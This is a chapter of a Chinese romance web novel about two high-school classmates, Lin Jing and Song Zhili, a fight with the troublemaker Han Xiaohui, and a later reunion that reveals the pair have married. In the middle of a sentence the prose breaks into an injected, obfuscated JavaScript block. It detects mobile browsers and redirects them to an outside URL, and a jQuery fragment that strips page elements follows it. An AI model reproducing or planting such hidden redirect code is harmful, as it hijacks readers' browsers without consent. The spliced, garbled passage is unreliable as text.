再说高中阶段。
高一的生活就这么平淡如水地过。
学校里没什么能引起全校关注的大事。
只是有一日,忽然传闻韩嚣会在知道自己那日被宋知礼戏弄之后,又喊了自己帮派的兄弟,跟宋知礼打了一架。
林菁听到这个消息的时候,很胆战心惊。
她觉得宋知礼看着是个很正派的好学生,若是被韩嚣会的人打残了怎么办?
宋知礼是为了她才出头,她不能见死不救。
林菁向李霄何打听了韩嚣会一群人与宋知礼打架的位置,林菁很害怕但还是急匆匆地赶过去。
昏暗的学校仓库内,躺着东倒西歪的几个人。
旁边的篮球框被打翻了,弹跳的篮球滚了一地。
仓库的窗花外装了防盗铁架,室外的阳光透入,在宋知礼的脸上覆上几道阴影,看着比平日里阴郁许多。
宋知礼脸上破了皮,捏紧拳头撑着地将自己撑起。
旁边几个小喽喽在地上哎呦哎呦地哭爹喊娘。
韩嚣会倒是没想到宋知礼这么能打,他以为面前的男生只是个会虚张声势的书呆子。
韩嚣会的腹部刚刚被踹了两下,有点疼。
战斗已经结束,他韩嚣会向来恩怨分明。
宋知礼那日骗了他,他根本就没向学生会打小报告,所以他要揍宋知礼。
揍完了,那就还是兄弟。
韩嚣会站起身,向宋知礼发出邀请,“喂,要不要加入我们。”
宋知礼忙着情理战场,弯腰将地上的篮球重新丢回框里。
听到邀请,他果断拒绝,“不了。”
韩嚣会觉得无趣,带着自己的小弟们,撇下打扫卫生的宋知礼,直接走了。
空荡荡的器材室内未开灯,宋知礼独自一人,一言不发地蹲在地上捡拾掉落的羽毛球。
林菁到那儿的时候,只看见宋知礼一个人。
林菁环顾四周,没有敌人出现,才敢迈步踏进去。
宋知礼听到脚步声,转头,看到是她时,眼神有些错愕。
她怎么来了。
林菁看到宋知礼脸上的伤,又害怕又担心。
她走到宋知礼的身边,蹲下身,小心翼翼地伸出手指,碰了碰宋知礼受伤的脸,看到了从伤口处渗出的点点血迹。
毫无征兆的,她霎时红了眼眶,豆大的泪珠一连串从脸颊上滚落,怎么都停不下来。
宋知礼那时候觉得,林菁像在给他哭丧。
他完全不知道该怎么处理这种情况。
林菁哭的时候很沉默,说出的话没什么哭腔。
她哭了老半天之后,向宋知礼道歉“对不起,都是因为那天你帮我,你才会被他们揍。”
宋知礼在衣服上擦了擦手,替林菁抹去泪珠,手还是有点脏,在林菁脸上留了道黑印。
宋知礼皱皱眉,又擦了两下,结果越抹越黑。
他只好用干净点的袖子,给林菁擦脸。
林菁边哭边躲,问他:“你做什么?”
宋知礼哄她,“别动,擦擦脸。”
林菁终于配合,宋知礼边擦,林菁边落眼泪。
宋知礼怎么都擦不完,像陷入了循环。
林菁哭得很理智,咬着唇一声不吭,只哭不说话,明亮悲伤的眼睛一眨一眨的,落下一滴接一滴的泪珠,不知道脑子里在想些什么。
宋知礼安慰她:“我没事,我也揍他们了,这事跟你没关系,纯属那个韩嚣会脑子有病。”
林菁还是担心,“要是他找他家长告状怎么办?”
会不会影响到宋知礼。
宋知礼擦眼泪的动作顿了顿,迷茫了,韩嚣会找他家长告状?
“应该不至于。”
林菁又担心,“你的脸怎么办,好大的口子。”
都怪她……
“就破了点皮,过两天就好了。”
两人一人一句,一人提问一人安慰,过了好一会儿,宋知礼终于明白了,林菁哭的主要是她的自责。
他摸了摸衣袖,说:“……算了,你陪我去药店买个创口贴吧。”
林菁答应,慢慢停止了哭泣。
宋知礼站起身,伸手拉住林菁的手腕,将她扶起。
药店在学校外面,北城四中门口的保安不怎么拦人,说一声要去买药就放他们出去了。
林菁脸上有干掉的泪痕,整个人情绪不好。
她替宋知礼付了药钱,宋知礼欣然接受,还额外多要了瓶碘伏。
二人坐在药店门口的石阶上,林菁小心翼翼地拆开棉签,沾了药水替他清理擦拭伤口。
“疼吗?”女孩动作轻柔小心,眼睛红彤彤的。
宋知礼在心里说,不疼,很舒服。
“还好,”他侧着身子,曲腿坐,二人凑得好近好近。
林菁忙着照顾病患,早忘了男女同学间的安全社交距离,心思全在宋知礼脸上的伤上。
挺帅的一张脸,破相了多可惜。
宋知礼仔细看看近在咫尺的女孩,她微微蹙着眉,照顾得很认真,额前有短短的绒毛,看起来很乖巧。
林菁最后在伤口上贴上创口贴。
这一番补偿完,林菁终于觉得心里好受多了。
宋知礼见她不哭了,心也踏实下来。
他感觉自己的袖口湿答答的,反应过来那都是女孩的眼泪。
他摸了摸脸上贴得平整的创口贴,对林菁说:“时候不早了,我们回去吧。”
二人并肩走进校门,又在楼梯口分道扬镳。
独处的短暂时光,成了二人共同的秘密。
……
那日是周五,上完晚自习,宋知礼从校门口出来,看到了自家的车。
他打开副驾,结果副驾坐着他妈。
陈湘指了指后排,“坐后面去。”
宋知礼听话地走到后座,拉开门,先把书包扔进去,再坐到了中间的座位。
今天开车的是他爸,宋泽修。
宋泽修和陈湘透过后视镜,都看到了宋知礼脸上的创口贴。
陈湘转过头问他:“你脸上怎么了?”
宋知礼含糊其辞,“摔了一跤。”
陈湘用一种你在骗鬼呢的表情无语地看着自己儿子。
但儿子受伤了,他们还是很担心的,让宋知礼把创口贴剥开给他们看看。
宋知礼只好不舍得撕下了林菁贴得仔细的创口贴。
前排的二人把脑袋都凑了过来,天比较黑,宋泽修还打开了手机上的手电筒。
待他们看清宋知礼脸上那小小的破口,宋泽修没忍住嗤笑一声。
宋知礼问他:“你笑什么?”
宋泽修:“就破这么点皮还要涂药水,出息呢。”
宋知礼觉得他爸不解风情:“你不懂。”
陈湘看宋知礼脸上破口不大,也在笑。
宋知礼又看着陈湘说:“你们不懂。”
陈湘笑得不能自已,“行行行,那把你的创口贴继续贴上,行了吗,宋大少爷。”
宋知礼把撕下来的创口贴重新贴上,不与父母多解释。
那是林菁与宋知礼高一年级时最亲近的一次接触。
其余时间,依旧是各自生活,二人不在一个班,平时也见不到面。
每次月考后的表彰大会,大部分时候两个人都在,会简短地互相打个招呼。
月考排名,有时宋知礼在前,有时林菁在前。
他们拿着奖状,拍下了一次又一次大合照。
课间做操时,偶尔二班的体育委员不在,就是班长来领队。
林菁会站在自己的队伍里,隔了很远偷偷看宋知礼,看他与他们班的男生嬉笑打闹。
日积月累的,林菁也知道宋知礼平时在队伍里站在哪里,顺带认熟了前后左右几个男生的脸。
如果林菁往二班的位置瞟的时候,没看到宋知礼,就会在心里偷偷猜想,他去哪了。
有时会听到他们班的人谈到宋知礼,说他是二班的班长,成绩很好,人也不错,我们班的谁谁谁好像跟他认识。
每到这种时候,林菁都会默不作声,不会突然出来插一句我也跟宋知礼认识。
她不是个爱出风头的人。
她也不知道她与宋知礼是什么关系,反正是互相认识的。
他还替她擦过好久的眼泪。
林菁在学校过得一直不安宁,送给林菁的情书,从小学开始就没停过。
偶尔见到书桌上新送来的情书时,她会突然想到宋知礼。
有那么多人喜欢她,给她送情书,这其中会包括宋知礼吗?她有时候会想。
后来又觉得不可能,宋知礼是个好学生,是班长,不会做出早恋这种错误的事情。
很快,到了高一下的期末,要分文理班了。
林菁和同桌陆羽薇都选的理科,前桌的李霄何也是。
暑假结束后,分班结果出来了,每个人都只能看到自己的班级。
林菁被分到了八班,她的同桌陆羽薇也是。
李霄何比较倒霉,跟她们分开了,在七班,倒也不是很远。
开学的第一天,林菁比平时来得早一些。
教室里已经有了几个人,她随便找了个位置,放下自己的东西,准备去原来的班级把放在教室后面的箱子搬过来。
走到门口时,碰巧有个人要进门。
林菁没注意,差点撞到人。
她扶住门框停下,未抬头看人,只匆匆说了句“抱歉”。
接着侧着身,让门外的人先进来。
那个人却没有动。
她听到一个熟悉的声音说,“我们被分到一个班了。”
她一抬头,看到了宋知礼,他今日头发蓬松,略长的头发遮住眉毛,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275978|198242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正低着头轻笑看着她。
宋知礼竟然跟她一个班。
林菁很高兴,说:“你也选了理科啊。”
宋知礼“嗯”了一声。
门口又有人要进来,他们不能堵在门口,对话戛然而止。
待林菁将自己的箱子搬到八班时,发现宋知礼坐在了她的位置的附近。
与她就隔了一条走道。
分了班之后,要重新竞选班长,宋知礼由于之前有当班长的经验,再次当选。
还有些其他岗位,依次有同学上去竞选。
林菁对这些不感兴趣。
开学第一天的座位是随便坐的,林菁与陆羽薇还是同桌。
陆羽薇趴在桌子上听着新同学的竞选演讲,昏昏欲睡。
没了前桌的李霄何,日子都变得无聊了。
班干部的竞选结束,门口忽然又来了一个人。
是韩嚣会。
班里好多人看到这张脸,都害怕地倒吸凉气。
韩嚣会本来今年要上高三,但因为翘课太多,跟不上进度,被原来的班主任规劝再读一年高二。
韩嚣会看到了宋知礼,没有什么反应。
与他结仇的人太多,只要有来有回,有仇报仇,有怨报怨,别在背后搞阴的,他就觉得对方是个好汉。
自那之后,韩嚣会跟班里其他人一样,也管宋知礼叫班长。
他的韩嚣会团体还在正常运营,其他小弟们并没有因为老大的留级而另寻龙头。
宋知礼管理班级管得并不严,只要韩嚣会不在班上扰乱课堂秩序就睁只眼闭只眼,只在开学的时候因为老师的要求做过一次他的思想工作。
韩嚣会不听,宋知礼也就作罢。
韩嚣会乐得自在,依旧每天翘课。
高考后,韩嚣会因为是体育生,考上了一所体育院校,今年也是大四。
他的大学就在附近,刚远远看觉得远处的人有点眼熟,有点像他高中时期的班长,就想着来打个招呼。
老友相逢,韩嚣会分外热情。
大学几年,他那神经质的脾气已经改好了不少,说出的话也文明许多。
“班长,你出息了啊,这车很贵吧?”韩嚣会稀罕地摸了摸车衣。
整个高中阶段,宋知礼的家世都捂得严严实实,没有人知道他是北城宋家的孩子,顶多根据他的穿着、气质、谈吐,觉得他家有点小钱。
韩嚣会又问:“里面坐着的是你女朋友吗?”
宋知礼没有回答。
不是女朋友,是老婆。
韩嚣会已经低下头,直接看到了副驾驶的人。
“林菁?”韩嚣会惊讶地捂住了嘴巴。
“你们为什么会在一辆车上?”韩嚣会的三观崩塌了。
在他的印象里,宋知礼与林菁没什么交集,大学也不在一个学校,属于班里互相认识但不怎么搭理对方的普通同学关系。
他俩唯一的交集可能是每次考试争谁是班里的第一。
两人是班上公认的勤奋刻苦加脑子好使,班级前二的分数能拉第三好长一截。
其实二人经常晚自习一起讨论题目,但韩嚣会不上晚自习,所以他不知道。
就这么一对普通同学,竟然坐在一辆车上!
韩嚣会的嘴巴久久合不上,在心中猜忌了无数种他们之间的关系。
班长跟校花好上了?
这是到哪一步了,他们这些老同学怎么什么都不知道呢。
宋知礼忽然朝他伸出手,晃了晃他中指上的戒指。
轻飘飘地告诉韩嚣会,“我们结婚了。”
所以在一辆车上。
林菁还要请他吃饭,宋知礼赶时间,说改日再与老同学叙旧,接着飞驰而去。
韩嚣会点点头,留在原地。
他在思考,为什么宋知礼的戒指戴在中指上,结婚戒指不应该戴在无名指上吗?
当他没看过电视剧吗?
他觉得宋知礼在骗他。
待他走回宿舍时,他一拍桌子,忽然觉得自己想通了。
宋知礼没准是记得他从前跟林菁表过白的事情,心里吃醋,所以故意说已经与林菁结婚,让他打消主意。
他与林菁可能在一起了,但一定没结婚。
呸,他韩嚣会是那种品行败坏,插足别人感情的人吗?
他气不过,决定报复宋知礼,直接点开高中班级群。
他们有两个班级群,一个有老师的,一个没老师的。
两个群里都已经很久没有人说话了。
没老师的那个群,群主是宋知礼,管理员是当时的几个班干部。
有老师的群,群主是班主任。
韩嚣会为了搞事情,特意挑了有老师的那个群。
他直接在里面@了宋知礼。
【某些人好事将近,不跟老同学分享一下吗?[坏笑]】